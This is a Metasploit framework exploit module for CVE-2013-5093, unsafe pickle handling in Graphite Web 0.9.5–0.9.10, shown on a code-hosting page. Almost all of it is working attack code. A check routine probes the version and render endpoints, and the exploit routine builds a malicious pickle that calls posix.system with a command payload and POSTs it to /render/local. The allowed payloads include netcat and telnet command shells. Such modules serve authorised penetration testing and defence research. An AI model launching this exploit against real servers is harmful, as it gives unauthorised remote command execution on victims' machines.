Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/graphite_pickle_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Graphite Web Unsafe Pickle Handling',13'Description' => %q{14This module exploits a remote code execution vulnerability in the pickle15handling of the rendering code in the Graphite Web project between version160.9.5 and 0.9.10 (both included).17},18'Author' =>19[20'Charlie Eriksen', # Initial discovery and exploit21'funkypickle' # Version check to prove vulnerable22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2013-5093'],27[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']28],29'Platform' => 'unix',30'Arch' => ARCH_CMD,31'Privileged' => false,32'Targets' => [ ['Automatic', {} ] ],33'DisclosureDate' => '2013-08-20',34'DefaultTarget' => 0,35'Payload' =>36{37'DisableNops' => true,38'Space' => 16384,39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'python generic telnet netcat perl ruby'43}44}))4546register_options(47[48OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])49])5051end5253def check54res1 = send_request_cgi({55# trailing slash required56'uri' => normalize_uri(target_uri.path, 'version/'),57'method' => 'GET'58})5960res2 = send_request_cgi({61'uri' => normalize_uri(target_uri.path, 'render', 'local'),62'method' => 'POST'63})6465if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)66return Exploit::CheckCode::Vulnerable67end68return Exploit::CheckCode::Safe69end7071def exploit72data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."7374print_status("Sending exploit payload...")7576response = send_request_cgi({77'uri' => normalize_uri(target_uri.path, 'render', 'local'),78'method' => 'POST',79'data' => data80})81end82end838485